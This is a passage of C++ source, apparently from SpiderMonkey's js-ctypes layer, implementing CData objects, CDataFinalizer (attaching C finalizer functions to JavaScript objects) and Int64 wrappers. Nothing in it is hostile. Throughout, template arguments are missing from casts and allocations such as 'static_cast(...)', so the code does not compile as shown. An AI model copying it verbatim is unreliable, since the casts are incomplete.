be larger than the size of the return // type, due to libffi alignment issues (see above). But it should never // be smaller. size_t copySize = CType::GetSize(fninfo->mReturnType); JS_ASSERT(copySize <= rvSize); memcpy(result, cinfo->errResult, copySize); } else { // Bad case: not much we can do here. The rv is already zeroed out, so we // just report (another) error and hope for the best. JS_ReportError will // actually throw an exception here, so then we have to report it. Again. // Ugh. JS_ReportError(cx, "JavaScript callback failed, and an error sentinel " "was not specified."); if (JS_IsExceptionPending(cx)) JS_ReportPendingException(cx); return; } } // Small integer types must be returned as a word-sized ffi_arg. Coerce it // back into the size libffi expects. switch (typeCode) { #define DEFINE_INT_TYPE(name, type, ffiType) \ case TYPE_##name: \ if (sizeof(type) < sizeof(ffi_arg)) { \ ffi_arg data = *static_cast(result); \ *static_cast(result) = data; \ } \ break; #define DEFINE_WRAPPED_INT_TYPE(x, y, z) DEFINE_INT_TYPE(x, y, z) #define DEFINE_BOOL_TYPE(x, y, z) DEFINE_INT_TYPE(x, y, z) #define DEFINE_CHAR_TYPE(x, y, z) DEFINE_INT_TYPE(x, y, z) #define DEFINE_JSCHAR_TYPE(x, y, z) DEFINE_INT_TYPE(x, y, z) #include "typedefs.h" default: break; } } /******************************************************************************* ** CData implementation *******************************************************************************/ // Create a new CData object of type 'typeObj' containing binary data supplied // in 'source', optionally with a referent object 'refObj'. // // * 'typeObj' must be a CType of defined (but possibly zero) size. // // * If an object 'refObj' is supplied, the new CData object stores the // referent object in a reserved slot for GC safety, such that 'refObj' will // be held alive by the resulting CData object. 'refObj' may or may not be // a CData object; merely an object we want to keep alive. // * If 'refObj' is a CData object, 'ownResult' must be false. // * Otherwise, 'refObj' is a Library or CClosure object, and 'ownResult' // may be true or false. // * Otherwise 'refObj' is NULL. In this case, 'ownResult' may be true or false. // // * If 'ownResult' is true, the CData object will allocate an appropriately // sized buffer, and free it upon finalization. If 'source' data is // supplied, the data will be copied from 'source' into the buffer; // otherwise, the entirety of the new buffer will be initialized to zero. // * If 'ownResult' is false, the new CData's buffer refers to a slice of // another buffer kept alive by 'refObj'. 'source' data must be provided, // and the new CData's buffer will refer to 'source'. JSObject* CData::Create(JSContext* cx, HandleObject typeObj, HandleObject refObj, void* source, bool ownResult) { JS_ASSERT(typeObj); JS_ASSERT(CType::IsCType(typeObj)); JS_ASSERT(CType::IsSizeDefined(typeObj)); JS_ASSERT(ownResult || source); JS_ASSERT_IF(refObj && CData::IsCData(refObj), !ownResult); // Get the 'prototype' property from the type. jsval slot = JS_GetReservedSlot(typeObj, SLOT_PROTO); JS_ASSERT(!JSVAL_IS_PRIMITIVE(slot)); RootedObject proto(cx, JSVAL_TO_OBJECT(slot)); RootedObject parent(cx, JS_GetParent(typeObj)); JS_ASSERT(parent); RootedObject dataObj(cx, JS_NewObject(cx, &sCDataClass, proto, parent)); if (!dataObj) return NULL; // set the CData's associated type JS_SetReservedSlot(dataObj, SLOT_CTYPE, OBJECT_TO_JSVAL(typeObj)); // Stash the referent object, if any, for GC safety. if (refObj) JS_SetReservedSlot(dataObj, SLOT_REFERENT, OBJECT_TO_JSVAL(refObj)); // Set our ownership flag. JS_SetReservedSlot(dataObj, SLOT_OWNS, BOOLEAN_TO_JSVAL(ownResult)); // attach the buffer. since it might not be 2-byte aligned, we need to // allocate an aligned space for it and store it there. :( char** buffer = cx->new_(); if (!buffer) { JS_ReportOutOfMemory(cx); return NULL; } char* data; if (!ownResult) { data = static_cast(source); } else { // Initialize our own buffer. size_t size = CType::GetSize(typeObj); data = cx->array_new(size); if (!data) { // Report a catchable allocation error. JS_ReportAllocationOverflow(cx); Foreground::delete_(buffer); return NULL; } if (!source) memset(data, 0, size); else memcpy(data, source, size); } *buffer = data; JS_SetReservedSlot(dataObj, SLOT_DATA, PRIVATE_TO_JSVAL(buffer)); return dataObj; } void CData::Finalize(JSFreeOp *fop, JSObject* obj) { // Delete our buffer, and the data it contains if we own it. jsval slot = JS_GetReservedSlot(obj, SLOT_OWNS); if (JSVAL_IS_VOID(slot)) return; JSBool owns = JSVAL_TO_BOOLEAN(slot); slot = JS_GetReservedSlot(obj, SLOT_DATA); if (JSVAL_IS_VOID(slot)) return; char** buffer = static_cast(JSVAL_TO_PRIVATE(slot)); if (owns) FreeOp::get(fop)->array_delete(*buffer); FreeOp::get(fop)->delete_(buffer); } JSObject* CData::GetCType(JSObject* dataObj) { JS_ASSERT(CData::IsCData(dataObj)); jsval slot = JS_GetReservedSlot(dataObj, SLOT_CTYPE); JSObject* typeObj = JSVAL_TO_OBJECT(slot); JS_ASSERT(CType::IsCType(typeObj)); return typeObj; } void* CData::GetData(JSObject* dataObj) { JS_ASSERT(CData::IsCData(dataObj)); jsval slot = JS_GetReservedSlot(dataObj, SLOT_DATA); void** buffer = static_cast(JSVAL_TO_PRIVATE(slot)); JS_ASSERT(buffer); JS_ASSERT(*buffer); return *buffer; } bool CData::IsCData(JSObject* obj) { return JS_GetClass(obj) == &sCDataClass; } bool CData::IsCDataProto(JSObject* obj) { return JS_GetClass(obj) == &sCDataProtoClass; } JSBool CData::ValueGetter(JSContext* cx, JSHandleObject obj, JSHandleId idval, MutableHandleValue vp) { if (!IsCData(obj)) { JS_ReportError(cx, "not a CData"); return JS_FALSE; } // Convert the value to a primitive; do not create a new CData object. RootedObject ctype(cx, GetCType(obj)); if (!ConvertToJS(cx, ctype, NullPtr(), GetData(obj), true, false, vp.address())) return JS_FALSE; return JS_TRUE; } JSBool CData::ValueSetter(JSContext* cx, JSHandleObject obj, JSHandleId idval, JSBool strict, MutableHandleValue vp) { if (!IsCData(obj)) { JS_ReportError(cx, "not a CData"); return JS_FALSE; } return ImplicitConvert(cx, vp, GetCType(obj), GetData(obj), false, NULL); } JSBool CData::Address(JSContext* cx, unsigned argc, jsval* vp) { if (argc != 0) { JS_ReportError(cx, "address takes zero arguments"); return JS_FALSE; } RootedObject obj(cx, JS_THIS_OBJECT(cx, vp)); if (!obj) return JS_FALSE; if (!IsCData(obj)) { JS_ReportError(cx, "not a CData"); return JS_FALSE; } RootedObject typeObj(cx, CData::GetCType(obj)); RootedObject pointerType(cx, PointerType::CreateInternal(cx, typeObj)); if (!pointerType) return JS_FALSE; // Create a PointerType CData object containing null. JSObject* result = CData::Create(cx, pointerType, NullPtr(), NULL, true); if (!result) return JS_FALSE; JS_SET_RVAL(cx, vp, OBJECT_TO_JSVAL(result)); // Manually set the pointer inside the object, so we skip the conversion step. void** data = static_cast(GetData(result)); *data = GetData(obj); return JS_TRUE; } JSBool CData::Cast(JSContext* cx, unsigned argc, jsval* vp) { if (argc != 2) { JS_ReportError(cx, "cast takes two arguments"); return JS_FALSE; } jsval* argv = JS_ARGV(cx, vp); if (JSVAL_IS_PRIMITIVE(argv[0]) || !CData::IsCData(JSVAL_TO_OBJECT(argv[0]))) { JS_ReportError(cx, "first argument must be a CData"); return JS_FALSE; } RootedObject sourceData(cx, JSVAL_TO_OBJECT(argv[0])); JSObject* sourceType = CData::GetCType(sourceData); if (JSVAL_IS_PRIMITIVE(argv[1]) || !CType::IsCType(JSVAL_TO_OBJECT(argv[1]))) { JS_ReportError(cx, "second argument must be a CType"); return JS_FALSE; } RootedObject targetType(cx, JSVAL_TO_OBJECT(argv[1])); size_t targetSize; if (!CType::GetSafeSize(targetType, &targetSize) || targetSize > CType::GetSize(sourceType)) { JS_ReportError(cx, "target CType has undefined or larger size than source CType"); return JS_FALSE; } // Construct a new CData object with a type of 'targetType' and a referent // of 'sourceData'. void* data = CData::GetData(sourceData); JSObject* result = CData::Create(cx, targetType, sourceData, data, false); if (!result) return JS_FALSE; JS_SET_RVAL(cx, vp, OBJECT_TO_JSVAL(result)); return JS_TRUE; } JSBool CData::GetRuntime(JSContext* cx, unsigned argc, jsval* vp) { if (argc != 1) { JS_ReportError(cx, "getRuntime takes one argument"); return JS_FALSE; } jsval* argv = JS_ARGV(cx, vp); if (JSVAL_IS_PRIMITIVE(argv[0]) || !CType::IsCType(JSVAL_TO_OBJECT(argv[0]))) { JS_ReportError(cx, "first argument must be a CType"); return JS_FALSE; } RootedObject targetType(cx, JSVAL_TO_OBJECT(argv[0])); size_t targetSize; if (!CType::GetSafeSize(targetType, &targetSize) || targetSize != sizeof(void*)) { JS_ReportError(cx, "target CType has non-pointer size"); return JS_FALSE; } void* data = static_cast(cx->runtime); JSObject* result = CData::Create(cx, targetType, NullPtr(), &data, true); if (!result) return JS_FALSE; JS_SET_RVAL(cx, vp, OBJECT_TO_JSVAL(result)); return JS_TRUE; } JSBool CData::ReadString(JSContext* cx, unsigned argc, jsval* vp) { if (argc != 0) { JS_ReportError(cx, "readString takes zero arguments"); return JS_FALSE; } JSObject* obj = CDataFinalizer::GetCData(cx, JS_THIS_OBJECT(cx, vp)); if (!obj || !IsCData(obj)) { JS_ReportError(cx, "not a CData"); return JS_FALSE; } // Make sure we are a pointer to, or an array of, an 8-bit or 16-bit // character or integer type. JSObject* baseType; JSObject* typeObj = GetCType(obj); TypeCode typeCode = CType::GetTypeCode(typeObj); void* data; size_t maxLength = -1; switch (typeCode) { case TYPE_pointer: baseType = PointerType::GetBaseType(typeObj); data = *static_cast(GetData(obj)); if (data == NULL) { JS_ReportError(cx, "cannot read contents of null pointer"); return JS_FALSE; } break; case TYPE_array: baseType = ArrayType::GetBaseType(typeObj); data = GetData(obj); maxLength = ArrayType::GetLength(typeObj); break; default: JS_ReportError(cx, "not a PointerType or ArrayType"); return JS_FALSE; } // Convert the string buffer, taking care to determine the correct string // length in the case of arrays (which may contain embedded nulls). JSString* result; switch (CType::GetTypeCode(baseType)) { case TYPE_int8_t: case TYPE_uint8_t: case TYPE_char: case TYPE_signed_char: case TYPE_unsigned_char: { char* bytes = static_cast(data); size_t length = strnlen(bytes, maxLength); // Determine the length. size_t dstlen; if (!InflateUTF8StringToBuffer(cx, bytes, length, NULL, &dstlen)) return JS_FALSE; jschar* dst = static_cast(JS_malloc(cx, (dstlen + 1) * sizeof(jschar))); if (!dst) return JS_FALSE; ASSERT_OK(InflateUTF8StringToBuffer(cx, bytes, length, dst, &dstlen)); dst[dstlen] = 0; result = JS_NewUCString(cx, dst, dstlen); break; } case TYPE_int16_t: case TYPE_uint16_t: case TYPE_short: case TYPE_unsigned_short: case TYPE_jschar: { jschar* chars = static_cast(data); size_t length = strnlen(chars, maxLength); result = JS_NewUCStringCopyN(cx, chars, length); break; } default: JS_ReportError(cx, "base type is not an 8-bit or 16-bit integer or character type"); return JS_FALSE; } if (!result) return JS_FALSE; JS_SET_RVAL(cx, vp, STRING_TO_JSVAL(result)); return JS_TRUE; } JSString * CData::GetSourceString(JSContext *cx, JSHandleObject typeObj, void *data) { // Walk the types, building up the toSource() string. // First, we build up the type expression: // 't.ptr' for pointers; // 't.array([n])' for arrays; // 'n' for structs, where n = t.name, the struct's name. (We assume this is // bound to a variable in the current scope.) AutoString source; BuildTypeSource(cx, typeObj, true, source); AppendString(source, "("); if (!BuildDataSource(cx, typeObj, data, false, source)) return NULL; AppendString(source, ")"); return NewUCString(cx, source); } JSBool CData::ToSource(JSContext* cx, unsigned argc, jsval* vp) { if (argc != 0) { JS_ReportError(cx, "toSource takes zero arguments"); return JS_FALSE; } JSObject* obj = JS_THIS_OBJECT(cx, vp); if (!obj) return JS_FALSE; if (!CData::IsCData(obj) && !CData::IsCDataProto(obj)) { JS_ReportError(cx, "not a CData"); return JS_FALSE; } JSString* result; if (CData::IsCData(obj)) { RootedObject typeObj(cx, CData::GetCType(obj)); void* data = CData::GetData(obj); result = CData::GetSourceString(cx, typeObj, data); } else { result = JS_NewStringCopyZ(cx, "[CData proto object]"); } if (!result) return JS_FALSE; JS_SET_RVAL(cx, vp, STRING_TO_JSVAL(result)); return JS_TRUE; } JSBool CData::ErrnoGetter(JSContext* cx, JSHandleObject obj, JSHandleId, MutableHandleValue vp) { if (!IsCTypesGlobal(obj)) { JS_ReportError(cx, "this is not not global object ctypes"); return JS_FALSE; } vp.set(JS_GetReservedSlot(obj, SLOT_ERRNO)); return JS_TRUE; } #if defined(XP_WIN) JSBool CData::LastErrorGetter(JSContext* cx, JSHandleObject obj, JSHandleId, MutableHandleValue vp) { if (!IsCTypesGlobal(obj)) { JS_ReportError(cx, "not global object ctypes"); return JS_FALSE; } vp.set(JS_GetReservedSlot(obj, SLOT_LASTERROR)); return JS_TRUE; } #endif // defined(XP_WIN) JSBool CDataFinalizer::Methods::ToSource(JSContext *cx, unsigned argc, jsval *vp) { RootedObject objThis(cx, JS_THIS_OBJECT(cx, vp)); if (!objThis) return JS_FALSE; if (!CDataFinalizer::IsCDataFinalizer(objThis)) { JS_ReportError(cx, "not a CDataFinalizer"); return JS_FALSE; } CDataFinalizer::Private *p = (CDataFinalizer::Private *) JS_GetPrivate(objThis); JSString *strMessage; if (!p) { strMessage = JS_NewStringCopyZ(cx, "ctypes.CDataFinalizer()"); } else { RootedObject objType(cx, CDataFinalizer::GetCType(cx, objThis)); if (!objType) { JS_ReportError(cx, "CDataFinalizer has no type"); return JS_FALSE; } AutoString source; AppendString(source, "ctypes.CDataFinalizer("); JSString *srcValue = CData::GetSourceString(cx, objType, p->cargs); if (!srcValue) { return JS_FALSE; } AppendString(source, srcValue); AppendString(source, ", "); jsval valCodePtrType = JS_GetReservedSlot(objThis, SLOT_DATAFINALIZER_CODETYPE); if (JSVAL_IS_PRIMITIVE(valCodePtrType)) { return JS_FALSE; } RootedObject typeObj(cx, JSVAL_TO_OBJECT(valCodePtrType)); JSString *srcDispose = CData::GetSourceString(cx, typeObj, &(p->code)); if (!srcDispose) { return JS_FALSE; } AppendString(source, srcDispose); AppendString(source, ")"); strMessage = NewUCString(cx, source); } if (!strMessage) { // This is a memory issue, no error message return JS_FALSE; } JS_SET_RVAL(cx, vp, STRING_TO_JSVAL(strMessage)); return JS_TRUE; } JSBool CDataFinalizer::Methods::ToString(JSContext *cx, unsigned argc, jsval *vp) { JSObject* objThis = JS_THIS_OBJECT(cx, vp); if (!objThis) return JS_FALSE; if (!CDataFinalizer::IsCDataFinalizer(objThis)) { JS_ReportError(cx, "not a CDataFinalizer"); return JS_FALSE; } JSString *strMessage; jsval value; if (!JS_GetPrivate(objThis)) { // Pre-check whether CDataFinalizer::GetValue can fail // to avoid reporting an error when not appropriate. strMessage = JS_NewStringCopyZ(cx, "[CDataFinalizer - empty]"); if (!strMessage) { return JS_FALSE; } } else if (!CDataFinalizer::GetValue(cx, objThis, &value)) { JS_NOT_REACHED("Could not convert an empty CDataFinalizer"); } else { strMessage = JS_ValueToString(cx, value); if (!strMessage) { return JS_FALSE; } } JS_SET_RVAL(cx, vp, STRING_TO_JSVAL(strMessage)); return JS_TRUE; } bool CDataFinalizer::IsCDataFinalizer(JSObject *obj) { return JS_GetClass(obj) == &sCDataFinalizerClass; } JSObject * CDataFinalizer::GetCType(JSContext *cx, JSObject *obj) { MOZ_ASSERT(IsCDataFinalizer(obj)); jsval valData = JS_GetReservedSlot(obj, SLOT_DATAFINALIZER_VALTYPE); if (JSVAL_IS_VOID(valData)) { return NULL; } return JSVAL_TO_OBJECT(valData); } JSObject* CDataFinalizer::GetCData(JSContext *cx, JSObject *obj) { if (!obj) { JS_ReportError(cx, "No C data"); return NULL; } if (CData::IsCData(obj)) { return obj; } if (!CDataFinalizer::IsCDataFinalizer(obj)) { JS_ReportError(cx, "Not C data"); return NULL; } jsval val; if (!CDataFinalizer::GetValue(cx, obj, &val) || JSVAL_IS_PRIMITIVE(val)) { JS_ReportError(cx, "Empty CDataFinalizer"); return NULL; } return JSVAL_TO_OBJECT(val); } bool CDataFinalizer::GetValue(JSContext *cx, JSObject *obj, jsval *aResult) { MOZ_ASSERT(IsCDataFinalizer(obj)); CDataFinalizer::Private *p = (CDataFinalizer::Private *) JS_GetPrivate(obj); if (!p) { JS_ReportError(cx, "Attempting to get the value of an empty CDataFinalizer"); return false; // We have called |dispose| or |forget| already. } RootedObject ctype(cx, GetCType(cx, obj)); return ConvertToJS(cx, ctype, /*parent*/NullPtr(), p -> cargs, false, true, aResult); } /* * Attach a C function as a finalizer to a JS object. * * Pseudo-JS signature: * function(CData, CData U>): CDataFinalizer * value, finalizer * * This function attaches strong references to the following values: * - the CType of |value| * * Note: This function takes advantage of the fact that non-variadic * CData functions are initialized during creation. */ JSBool CDataFinalizer::Construct(JSContext* cx, unsigned argc, jsval *vp) { RootedObject objSelf(cx, JSVAL_TO_OBJECT(JS_CALLEE(cx, vp))); RootedObject objProto(cx); if (!GetObjectProperty(cx, objSelf, "prototype", &objProto)) { JS_ReportError(cx, "CDataFinalizer.prototype does not exist"); return JS_FALSE; } // Get arguments if (argc == 0) { // Special case: the empty (already finalized) object JSObject *objResult = JS_NewObject(cx, &sCDataFinalizerClass, objProto, NULL); JS_SET_RVAL(cx, vp, OBJECT_TO_JSVAL(objResult)); return JS_TRUE; } if (argc != 2) { JS_ReportError(cx, "CDataFinalizer takes 2 arguments"); return JS_FALSE; } jsval* argv = JS_ARGV(cx, vp); JS::Value valCodePtr = argv[1]; if (!valCodePtr.isObject()) { return TypeError(cx, "_a CData object_ of a function pointer type", valCodePtr); } JSObject *objCodePtr = &valCodePtr.toObject(); //Note: Using a custom argument formatter here would be awkward (requires //a destructor just to uninstall the formatter). // 2. Extract argument type of |objCodePtr| if (!CData::IsCData(objCodePtr)) { return TypeError(cx, "a _CData_ object of a function pointer type", valCodePtr); } JSObject *objCodePtrType = CData::GetCType(objCodePtr); MOZ_ASSERT(objCodePtrType); TypeCode typCodePtr = CType::GetTypeCode(objCodePtrType); if (typCodePtr != TYPE_pointer) { return TypeError(cx, "a CData object of a function _pointer_ type", OBJECT_TO_JSVAL(objCodePtrType)); } JSObject *objCodeType = PointerType::GetBaseType(objCodePtrType); MOZ_ASSERT(objCodeType); TypeCode typCode = CType::GetTypeCode(objCodeType); if (typCode != TYPE_function) { return TypeError(cx, "a CData object of a _function_ pointer type", OBJECT_TO_JSVAL(objCodePtrType)); } uintptr_t code = *reinterpret_cast(CData::GetData(objCodePtr)); if (!code) { return TypeError(cx, "a CData object of a _non-NULL_ function pointer type", OBJECT_TO_JSVAL(objCodePtrType)); } FunctionInfo* funInfoFinalizer = FunctionType::GetFunctionInfo(objCodeType); MOZ_ASSERT(funInfoFinalizer); if ((funInfoFinalizer->mArgTypes.length() != 1) || (funInfoFinalizer->mIsVariadic)) { return TypeError(cx, "a function accepting exactly one argument", OBJECT_TO_JSVAL(objCodeType)); } RootedObject objArgType(cx, funInfoFinalizer->mArgTypes[0]); RootedObject returnType(cx, funInfoFinalizer->mReturnType); // Invariant: At this stage, we know that funInfoFinalizer->mIsVariadic // is |false|. Therefore, funInfoFinalizer->mCIF has already been initialized. bool freePointer = false; // 3. Perform dynamic cast of |argv[0]| into |objType|, store it in |cargs| size_t sizeArg; jsval valData = argv[0]; if (!CType::GetSafeSize(objArgType, &sizeArg)) { return TypeError(cx, "(an object with known size)", valData); } ScopedFreePtr cargs(malloc(sizeArg)); if (!ImplicitConvert(cx, valData, objArgType, cargs.get(), false, &freePointer)) { return TypeError(cx, "(an object that can be converted to the following type)", OBJECT_TO_JSVAL(objArgType)); } if (freePointer) { // Note: We could handle that case, if necessary. JS_ReportError(cx, "Internal Error during CDataFinalizer. Object cannot be represented"); return JS_FALSE; } // 4. Prepare buffer for holding return value ScopedFreePtr rvalue; if (CType::GetTypeCode(returnType) != TYPE_void_t) { rvalue = malloc(Align(CType::GetSize(returnType), sizeof(ffi_arg))); } //Otherwise, simply do not allocate // 5. Create |objResult| JSObject *objResult = JS_NewObject(cx, &sCDataFinalizerClass, objProto, NULL); if (!objResult) { return JS_FALSE; } // If our argument is a CData, it holds a type. // This is the type that we should capture, not that // of the function, which may be less precise. JSObject *objBestArgType = objArgType; if (!JSVAL_IS_PRIMITIVE(valData)) { JSObject *objData = JSVAL_TO_OBJECT(valData); if (CData::IsCData(objData)) { objBestArgType = CData::GetCType(objData); size_t sizeBestArg; if (!CType::GetSafeSize(objBestArgType, &sizeBestArg)) { JS_NOT_REACHED("object with unknown size"); } if (sizeBestArg != sizeArg) { return TypeError(cx, "(an object with the same size as that expected by the C finalization function)", valData); } } } // Used by GetCType JS_SetReservedSlot(objResult, SLOT_DATAFINALIZER_VALTYPE, OBJECT_TO_JSVAL(objBestArgType)); // Used by ToSource JS_SetReservedSlot(objResult, SLOT_DATAFINALIZER_CODETYPE, OBJECT_TO_JSVAL(objCodePtrType)); ffi_abi abi; if (!GetABI(cx, OBJECT_TO_JSVAL(funInfoFinalizer->mABI), &abi)) { JS_ReportError(cx, "Internal Error: " "Invalid ABI specification in CDataFinalizer"); return false; } ffi_type* rtype = CType::GetFFIType(cx, funInfoFinalizer->mReturnType); if (!rtype) { JS_ReportError(cx, "Internal Error: " "Could not access ffi type of CDataFinalizer"); return JS_FALSE; } // 7. Store C information as private ScopedFreePtr p((CDataFinalizer::Private*)malloc(sizeof(CDataFinalizer::Private))); memmove(&p->CIF, &funInfoFinalizer->mCIF, sizeof(ffi_cif)); p->cargs = cargs.forget(); p->rvalue = rvalue.forget(); p->cargs_size = sizeArg; p->code = code; JS_SetPrivate(objResult, p.forget()); JS_SET_RVAL(cx, vp, OBJECT_TO_JSVAL(objResult)); return JS_TRUE; } /* * Actually call the finalizer. Does not perform any cleanup on the object. * * Preconditions: |this| must be a |CDataFinalizer|, |p| must be non-null. * The function fails if |this| has gone through |Forget|/|Dispose| * or |Finalize|. * * This function does not alter the value of |errno|/|GetLastError|. * * If argument |errnoStatus| is non-NULL, it receives the value of |errno| * immediately after the call. Under Windows, if argument |lastErrorStatus| * is non-NULL, it receives the value of |GetLastError| immediately after the * call. On other platforms, |lastErrorStatus| is ignored. */ void CDataFinalizer::CallFinalizer(CDataFinalizer::Private *p, int* errnoStatus, int32_t* lastErrorStatus) { int savedErrno = errno; errno = 0; #if defined(XP_WIN) int32_t savedLastError = GetLastError(); SetLastError(0); #endif // defined(XP_WIN) ffi_call(&p->CIF, FFI_FN(p->code), p->rvalue, &p->cargs); if (errnoStatus) { *errnoStatus = errno; } errno = savedErrno; #if defined(XP_WIN) if (lastErrorStatus) { *lastErrorStatus = GetLastError(); } SetLastError(savedLastError); #endif // defined(XP_WIN) } /* * Forget the value. * * Preconditions: |this| must be a |CDataFinalizer|. * The function fails if |this| has gone through |Forget|/|Dispose| * or |Finalize|. * * Does not call the finalizer. Cleans up the Private memory and releases all * strong references. */ JSBool CDataFinalizer::Methods::Forget(JSContext* cx, unsigned argc, jsval *vp) { if (argc != 0) { JS_ReportError(cx, "CDataFinalizer.prototype.forget takes no arguments"); return JS_FALSE; } JSObject *obj = JS_THIS_OBJECT(cx, vp); if (!obj) return JS_FALSE; if (!CDataFinalizer::IsCDataFinalizer(obj)) { return TypeError(cx, "a CDataFinalizer", OBJECT_TO_JSVAL(obj)); } CDataFinalizer::Private *p = (CDataFinalizer::Private *) JS_GetPrivate(obj); if (!p) { JS_ReportError(cx, "forget called on an empty CDataFinalizer"); return JS_FALSE; } jsval valJSData; RootedObject ctype(cx, GetCType(cx, obj)); if (!ConvertToJS(cx, ctype, NullPtr(), p->cargs, false, true, &valJSData)) { JS_ReportError(cx, "CDataFinalizer value cannot be represented"); return JS_FALSE; } CDataFinalizer::Cleanup(p, obj); JS_SET_RVAL(cx, vp, valJSData); return JS_TRUE; } /* * Clean up the value. * * Preconditions: |this| must be a |CDataFinalizer|. * The function fails if |this| has gone through |Forget|/|Dispose| * or |Finalize|. * * Calls the finalizer, cleans up the Private memory and releases all * strong references. */ JSBool CDataFinalizer::Methods::Dispose(JSContext* cx, unsigned argc, jsval *vp) { if (argc != 0) { JS_ReportError(cx, "CDataFinalizer.prototype.dispose takes no arguments"); return JS_FALSE; } JSObject *obj = JS_THIS_OBJECT(cx, vp); if (!obj) return JS_FALSE; if (!CDataFinalizer::IsCDataFinalizer(obj)) { return TypeError(cx, "a CDataFinalizer", OBJECT_TO_JSVAL(obj)); } CDataFinalizer::Private *p = (CDataFinalizer::Private *) JS_GetPrivate(obj); if (!p) { JS_ReportError(cx, "dispose called on an empty CDataFinalizer."); return JS_FALSE; } jsval valType = JS_GetReservedSlot(obj, SLOT_DATAFINALIZER_VALTYPE); JS_ASSERT(!JSVAL_IS_PRIMITIVE(valType)); JSObject *objCTypes = CType::GetGlobalCTypes(cx, JSVAL_TO_OBJECT(valType)); jsval valCodePtrType = JS_GetReservedSlot(obj, SLOT_DATAFINALIZER_CODETYPE); JS_ASSERT(!JSVAL_IS_PRIMITIVE(valCodePtrType)); JSObject *objCodePtrType = JSVAL_TO_OBJECT(valCodePtrType); JSObject *objCodeType = PointerType::GetBaseType(objCodePtrType); JS_ASSERT(objCodeType); JS_ASSERT(CType::GetTypeCode(objCodeType) == TYPE_function); RootedObject resultType(cx, FunctionType::GetFunctionInfo(objCodeType)->mReturnType); jsval result = JSVAL_VOID; int errnoStatus; #if defined(XP_WIN) int32_t lastErrorStatus; CDataFinalizer::CallFinalizer(p, &errnoStatus, &lastErrorStatus); #else CDataFinalizer::CallFinalizer(p, &errnoStatus, NULL); #endif // defined(XP_WIN) JS_SetReservedSlot(objCTypes, SLOT_ERRNO, INT_TO_JSVAL(errnoStatus)); #if defined(XP_WIN) JS_SetReservedSlot(objCTypes, SLOT_LASTERROR, INT_TO_JSVAL(lastErrorStatus)); #endif // defined(XP_WIN) if (ConvertToJS(cx, resultType, NullPtr(), p->rvalue, false, true, &result)) { CDataFinalizer::Cleanup(p, obj); JS_SET_RVAL(cx, vp, result); return true; } CDataFinalizer::Cleanup(p, obj); return false; } /* * Perform finalization. * * Preconditions: |this| must be the result of |CDataFinalizer|. * It may have gone through |Forget|/|Dispose|. * * If |this| has not gone through |Forget|/|Dispose|, calls the * finalizer, cleans up the Private memory and releases all * strong references. */ void CDataFinalizer::Finalize(JSFreeOp* fop, JSObject* obj) { CDataFinalizer::Private *p = (CDataFinalizer::Private *) JS_GetPrivate(obj); if (!p) { return; } CDataFinalizer::CallFinalizer(p, NULL, NULL); CDataFinalizer::Cleanup(p, NULL); } /* * Perform cleanup of a CDataFinalizer * * Release strong references, cleanup |Private|. * * Argument |p| contains the private information of the CDataFinalizer. If NULL, * this function does nothing. * Argument |obj| should contain |NULL| during finalization (or in any context * in which the object itself should not be cleaned up), or a CDataFinalizer * object otherwise. */ void CDataFinalizer::Cleanup(CDataFinalizer::Private *p, JSObject *obj) { if (!p) { return; // We have already cleaned up } free(p->cargs); free(p->rvalue); free(p); if (!obj) { return; // No slots to clean up } JS_ASSERT(CDataFinalizer::IsCDataFinalizer(obj)); JS_SetPrivate(obj, NULL); for (int i = 0; i < CDATAFINALIZER_SLOTS; ++i) { JS_SetReservedSlot(obj, i, JSVAL_NULL); } } /******************************************************************************* ** Int64 and UInt64 implementation *******************************************************************************/ JSObject* Int64Base::Construct(JSContext* cx, HandleObject proto, uint64_t data, bool isUnsigned) { JSClass* clasp = isUnsigned ? &sUInt64Class : &sInt64Class; RootedObject parent(cx, JS_GetParent(proto)); RootedObject result(cx, JS_NewObject(cx, clasp, proto, parent)); if (!result) return NULL; // attach the Int64's data uint64_t* buffer = cx->new_(data); if (!buffer) { JS_ReportOutOfMemory(cx); return NULL; } JS_SetReservedSlot(result, SLOT_INT64, PRIVATE_TO_JSVAL(buffer)); if (!JS_FreezeObject(cx, result)) return NULL; return result; } void Int64Base::Finalize(JSFreeOp *fop, JSObject* obj) { jsval slot = JS_GetReservedSlot(obj, SLOT_INT64); if (JSVAL_IS_VOID(slot)) return; FreeOp::get(fop)->delete_(static_cast(JSVAL_TO_PRIVATE(slot))); } uint64_t Int64Base::GetInt(JSObject* obj) { JS_ASSERT(Int64::IsInt64(obj) || UInt64::IsUInt64(obj)); jsval slot = JS_GetReservedSlot(obj, SLOT_INT64); return *static_cast(JSVAL_TO_PRIVATE(slot)); } JSBool Int64Base::ToString(JSContext* cx, JSObject* obj, unsigned argc, jsval* vp, bool isUnsigned) { if (argc > 1) { JS_ReportError(cx, "toString takes zero or one argument"); return JS_FALSE; } int radix = 10; if (argc == 1) { jsval arg = JS_ARGV(cx, vp)[0]; if (JSVAL_IS_INT(arg)) radix = JSVAL_TO_INT(arg); if (!JSVAL_IS_INT(arg) || radix < 2 || radix > 36) { JS_ReportError(cx, "radix argument must be an integer between 2 and 36"); return JS_FALSE; } } AutoString intString; if (isUnsigned) { IntegerToString(GetInt(obj), radix, intString); } else { IntegerToString(static_cast(GetInt(obj)), radix, intString); } JSString *result = NewUCString(cx, intString); if (!result) return JS_FALSE; JS_SET_RVAL(cx, vp, STRING_TO_JSVAL(result)); return JS_TRUE; } JSBool Int64Base::ToSource(JSContext* cx, JSObject* obj, unsigned argc, jsval* vp, bool isUnsigned) { if (argc != 0) { JS_ReportError(cx, "toSource takes zero arguments"); return JS_FALSE; } // Return a decimal string suitable for constructing the number. AutoString source; if (isUnsigned) { AppendString(source, "ctypes.UInt64(\""); IntegerToString(GetInt(obj), 10, source); } else { AppendString(source, "ctypes.Int64(\""); IntegerToString(static_cast(GetInt(obj)), 10, source); } AppendString(source, "\")"); JSString *result = NewUCString(cx, source); if (!result) return JS_FALSE; JS_SET_RVAL(cx, vp, STRING_TO_JSVAL(result)); return JS_TRUE; } JSBool Int64::Construct(JSContext* cx, unsigned argc, jsval* vp) { CallArgs args = CallArgsFromVp(argc, vp); // Construct and return a new Int64 object. if (argc != 1) { JS_ReportError(cx, "Int64 takes one argument"); return JS_FALSE; } int64_t i = 0; if (!jsvalToBigInteger(cx, args[0], true, &i)) return TypeError(cx, "int64", args[0]); // Get ctypes.Int64.prototype from the 'prototype' property of the ctor. jsval slot; RootedObject callee(cx, &args.callee()); ASSERT_OK(JS_GetProperty(cx, callee, "prototype", &slot)); RootedObject proto(cx, JSVAL_TO_OBJECT(slot)); 